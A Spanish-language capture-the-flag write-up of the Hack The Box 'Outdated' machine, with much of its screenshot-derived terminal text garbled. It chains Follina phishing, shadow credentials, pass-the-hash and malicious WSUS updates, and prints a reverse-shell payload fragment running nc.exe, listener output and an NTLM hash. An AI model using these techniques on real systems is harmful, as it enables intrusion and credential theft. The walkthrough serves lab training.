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1.Enumeracion

Realizamos un PING a la maquina victima para comprobar su TTL. A partir del valor
devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso
podemos deducir que se trata de una maquina Windows.

/home/kali/HTB/outdated
1 110.10.11.175
PING 10.10.11.175 (10.10.11.175) 56(84) bytes of data.
64 bytes from 10.10.11.175: icmp_seqg=1 ttl=127 time=63.7 ms

— 10.10.11.175 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 63.705/63.705/63.705/0.000 ms

/home/kali/HTB/outdated

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes
servicios y versiones asociados.

A raiz de los datos obtenidos de la ejecucién del comando nmap, actualizamos el
/etc/hosts de nuestra maquina atacante, con los siguientes datos.

Archivo Acciones Editar Vista Ayuda

GNU nano 7.1 /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali

10.10.11.175 mail.outdated.htb dc.outdated.htb outdated.htbl

Vemos que la maquina victima tiene expuesto el puerto TCP/53. Intentamos realizar un
ataque de transferencia de zona, pero no obtenemos resultados.
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/home/kali/HTB/outdated
ted.htb axfr

-1-Debian < 10.10.11.175 outdated.htb

—»HEADER«— opcode: QUERY NXDOMAIN, id:
o A

qr rd ra ad; QUERY: 1 S| @, AUTHORITY: 1, ADDITIONAL: 1

OPT PSEUDOSECTION:
DNS: version: 0, flag 821 0x0005, udp: 512
QUESTION SECTION:

.10.11.175. w A

;i AUTHORITY SECTION:
a.root-servers . nstld.verisig .com. 2023010700 1800 900 604800 86400

Revisamos ahora el servicio SMB de la maquina victima. Primero comprobamos si tiene
vulnerabilidades con la herramienta NMAP.

/home/kali/HTB/outdated
\ 39,
10:19 CET

ate a connection Failed to receive bytes: ERROR

Nmap done: 1 IP address (1 host up) scanned in conds

/home/kali/HTB/outdated
L 10.10.11.175

Type Comment

Disk
Disk
1PC
Disk
Disk
Disk Logon ser
vicesPackages Disk netui hare to be used by client systems for cting all software packages (usually applications) published on this
tent Disk A network share to be used by Local Publishing to pl ublished content on this WSUS system
WsUSTemp Disk A ne hare used by Local Publishing from a Remote WSUS Console Instance.

Reconnecting with SMB1 for workgroup listing

do_connect: Connection to 10.10.11.175 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

Unable to connect with SMB1 — no workgroup available

Revisamos el directorio que tenemos capacidad para leer su contenido y vemos el
fichero “NOC_Reminder.pdf’. Nos lo descargamos a nuestra maquina de atacante y
revisamos su contenido.

/home/kali/HTB/outdated

Mon Jun
@ Mon Jun
977 Mon Jun

1641866 blocks available
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ATTENTION IT STAFF

Due to last week's security breach we need to rebuild some of our core servers. This has impacted a handful of our workstations, update
services, monitoring tools and backups. As we work to rebuild, please assist our NOC by e-mailing a link to any internal web applications to
itsupport@outdated.htb so we can get them added back into our monitoring platform for alerts and notifications.

We have also onboarded a new employee to our SOC to assist with this matter and expedite the recovery of our update services to ensure all
critical vulnerabilities are patched and servers are up to date. The CVE list below is top priority, and we must ensure that these are patched

ASAP.

Thank you in advance for your assistance. If you have any questions, please reach out to the mailing list above.

Qv Exec Code 2022-06-01 9.3 Remote Medium Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code
Execution Vulnerability.

v Exec Code 2022-05-18 7.2 Local Low Windows Print Spooler Elevation of Privilege Vulnerability.

oV Exec Code 2022-05-10 6.8 Remote Medium Visual Studio Code Remote Code Execution Vulnerability.

v Exec Code 202205-10 | 9.3 Remote | Medium Windows LDAP Remote Code Execution Vulnerability.

v Exec Code 2022-05-10 9.3 Remote Medium Microsoft Excel Remote Code Execution Vulnerability

Parece que hemos obtenido una serie de vulnerabilidades de las que nos podriamos
aprovechar. Antes de empezar a revisarlas ... vamos a seguir enumerando el sistema.
Como el servicio RPC esta expuesto, vamos a intentar enumerar la informacién. Como
aun no tenemos credenciales, lo intentamos con “Null Session”.

Jhome/kali/HTB/outdated

‘" 19.10.11.175 'e
result was NT_STATUS_ACCESS_DENIED

Tampoco tenemos éxito enumerando por LDAP.

/home/../HTB/outdated/content/msdt-follina
ldap://10.10.11.175 “DC=outdated,dc=htb"
extended LDIF

LDAPvV3
DC=outdated,dc=htb"”> with scope subtree
(objectclass=*)
requesting: ALL

# search result

search: 2

result: 1 Operations error

text: 000004DC: LdapErr: DSID-0C090A69, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1
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2. Explotacion y acceso

Analizamos la primera vulnerabilidad CVE-2022-30190 y encontramos la siguiente URL:
https://ciberseguridad.blog/analizando-y-explotando-follina-msdt-cve-2022-30190/

Nos clonamos el repositorio de JohnHammond y realizamos una pequefia modificacion
para que no descargue NC de internet.

-OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmc

/home/../HTB/outdated/content/msdt-follina
follina.py 1 tun@ 15}
] copied staging doc /t x9txjh
created maldoc . i
g html p
start lvnp 9@01°
tening on [any] 9001

[+

[+]
[+]
[+]
lis

Nos creamos un servidor web con Python por el puerto 8080, apuntando al directorio
del repositorio clonado anteriormente.

/home/../HTE/outdated/content/msdt-follina
http.server

/home/../HTB/outdated/content/msdt-follina
its t@outdated.htb testadtest.local

aa

t@outdated.htb>

4:92:01 +@1e00

http://10.10.14.12

=
&=
-
P
=
« 3
-
-
-
-
-
-
-
-
-
-
- .

Queued (10.50@0 seconds)

on closed with remote host.
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mailto:itsupport@outdated.htb

Conseguimos acceso a la maquina como el usuario “btables”.

/home/.../HTB/outdated/content/msdt-follina
tun@ 80
_xj4
: =]
payload on :
np 1"
on [any] 9

3. Movimiento lateral

Si consultamos la direccién IP, vemos que estamos ante algun tipo de contenedor.
Deberemos escaparnos de alguna forma, para llegar a la maquina 10.10.11.175.

C:\Users\btables\AppData\Local\Temp\SDIAGZeGBZBch—Oaéb—bdbc—81Ab—a(5928d65230>ip(onfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix
IPv4 Address. .
Subnet Mask . .
Default Gateway

C:\Users\btables\AppData\Local\Temp\SDIAG_e6826a3c-0a64-4dbc-814b-ac5928d65230>]

Revisamos los privilegios que tenemos como el usuario “btables”, pero no vemos nada
de intereses.

4—4dbc-814b-ac

Disabled
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Si consultamos los grupos a los que pertenece el usuario “btables”, vemos que
pertenece al grupo del dominio “ITStaff”.

Mandatory gri
BUILTIN\User

Mandato L f group

NT AUTHORITY\INTERACTIVE Ll
Mandatory group, L L group
CONSOLE LOGON Well
Mandatory group, L y led group
NT AUTHORITY\Authentica |

§-1-1

Para trabajar mas cdmodamente, obtenemos una shell interactiva con ConPtyShell:
https://github.com/antonioCoco/ConPtyShell

IAG_6d949790-F4

IAG_6d949790-f4

Vamos a revisar con “BloodHound” una via potencial de escalar privilegios. Traspasamos
a la maquina victima el ejecutable “SharpHound.exe” y lo ejecutamos.

f19.18.14. SharpHound. exe SharpHoun

| INFORMATION|C

| INFORMATION|Producer has finished,
| INFORMATION |Qutput channe C

| INFORMATION | LDAP chan

Nos descargamos el fichero obtenido a nuestra maquina atacante y lo cargamos en
“BloodHound”. Vemos que tenemos una via potencial de escalar privilegios,
convirtiéndonos en el usuario “sflowers”.
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ITSTAFF@OQUTDQTED.HTB

SFLOWERS@OUTDATED.HTB

Info Opsec Considerations References

To abuse this privilege, use Whisker.

1 to authenticate to the Domain Controller as
UTDATED.HTB if you are not running a proc

Whisker.exe add /target:<TargetPrincipal=>

For other optional parameters, view the Whisper documentation.

La herramienta Whisker, la podemos descargar del siguiente repositorio
https://github.com/eladshamir/Whisker. Sin embargo, este hay que compilarlo.
Buscando en Google, encontramos esta otra herramienta en PowerShell, muchas mas

comoda desde mi punto de vista:
https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerS
harpBinaries/Invoke-Whisker.ps1

La subimos a la maquina victima y la ejecutamos. Lo cdmodo de esta herramienta es que,
al finalizar, nos dice el comando que debemos ejecutar ahora con Rubeus.

f Net.WebClient). du:n-.'nl-::a.dE.‘r_I'Eng[ﬁ
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d> Inv |
[#] No path
[*] No p:

KeyCredentlial a g9de97bo
Updating the msD5-K t ars

Updated the £ ICrede 1 : F e target object

You can 3

Rubeus.e
_ad72c7c 4 -9bf4-5115d21fdsf

Lo ejecutamos y obtenemos un Hash.

BQBA4QAAPREYDZ IwM jMwuMTA4MT CONZQ2WqYRGASYMDIZMDEWOTAZNDCONLGNERGPMjAYMZAXMT
UXNzQ3
ZaqA4bDE9IVVERBVEVELKhUQQkhMB+gAWIBAQEYMBYbBmtyYnRndBSMb3VOZGFOZWQuaHR1

ServiceName : krbtgt/outdated.htb
ServiceRealm OUTDATED.HTB

UserName sflowers

UserRealm OUTDATED

StartTime

EndTime y PM

RenewTill / 6 AM

Flags :n 1 calize, pre_authent, initial, renewable
forwardable

KeyType 2

Base64(key) vs5iv/RIgylyZw=

ASREP (key) : 85E4A26B9EB17C851613D86C40FDD6B

[*] Getting credentials using U2U

CredentiallInfo
Version
EncryptionType
CredentialData
CredentialCount
NTLM : 1FCDB1FAA15NCR318CC77BB2BDA14DBS
PS C:\Users\btables\AppData\Local\Temp\SDIAG_ad72c7c9-fe73-478e-9bf4-5115d21fd5f

Hash: 1FCDB1F6015DCB318CC77BB2BDA14DB5

Lo intentamos usar para obtener acceso con Evil-Winrm (Pass the hash).

/home/../HTB/outdated/content/msdt-follina
10.10.11.175 sf itdated.htb

o ruby limitation: quc _detection_proc() function is un Llemented on this

Users\sflowers\Documents> whoami

outdated\sflow
PS C:\Users\sflowers\Documents> i
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4. Escalada de privilegios

Si consultamos la direccion IP, vemos que ya hemos conseguido llegar a la maquina
10.10.11.175.

PS C:\Users\sflowers\Desktop> ipconfig

Windows IP Configuration

Ethernet adapter vEthernet (vSwitch):

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . 2.16.20.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 0.0.0.0

Ethernet adapter Ethernet@ 3:

Connection-specific DNS Suffix . : htb
IPv6 Address. . . . . .. di. . : dead:beef::1e6
IPv6 Address . : dead:beef::30c1:8829:6fd5:9c4a

Link-local IPv6 Address c = 9:6fd5:9c4a%15
IPv4 Address. . . . . . . . . H

Subnet Mask

Default Gateway

QUTDATED\!
NT AUTI

Encontramos la herramienta SharpWSUS para aprovecharnos de este privilegio:
https://labs.nettitude.com/blog/introducing-sharpwsus/. Compilamos la aplicacién con

Visual Studio y pasamos el ejecutable a la maquina victima.

PS C:\Users\sflowers\Documents> upload /home/kali/HTB/outdated/content/SharpWsus.exe

Para aprovecharnos de esta herramienta, necesitamos un software firmado por
Microsoft. Podemos usar PsExec64. Nos descargamos la herramienta del siguiente
enlace (forma parte de un conjunto de herramientas):
https://download.sysinternals.com/files/PSTools.zip. Posteriormente, lo subimos a la

maquina victima.

PS C:\Users\sflowers\Documents> upload /home/kali/HTB/outdated/content/PsExec6s.exe
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También necesitaremos netcat
(https://github.com/int0x33/nc.exe/raw/master/nc64.exe).

PS C:\Users\sflowers\Documents> upload /home/kali/HTB/outdated/content/nc64.exe

Ahora que tenemos todas las herramientas, creamos nuestra actualizacion.

Aprobamos la actualizacion para que se despliegue en el dc.

PS C:\Users\sflowers\Documents> .\Sha exe approve /updateid:4bed708c-f9c2-4904-81ae-1c097f087915 /computername:dc.outdated.htb /groupname:"Critical Updates”

Phil Keeble @ Nettitude Red Team

[*] Action: Approve Update

bd6d57d0-5e6-4 35c8955299¢1, 1
lse
ed: Critical Updates
mputer To Group
Update

[*] Approve complete

Esperamos un rato y obtenemos una reverse shell como “nt authority\system”.

/home/kali/HTB/outdated/content
nc 443
listening on [any] 443 ...

connect to [10.10.14.12] from (UNKNOWN) [10.10.11.175] 64680
Microsoft Windows [Version 10.0.17763.1432]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
C:\Windows\system32>whoami
whoami

nt authority\system

C:\Windows\system32>[i

https://dandyloco.github.io/ 11 ©Dandy_loco



https://dandyloco.github.io/
https://github.com/int0x33/nc.exe/raw/master/nc64.exe

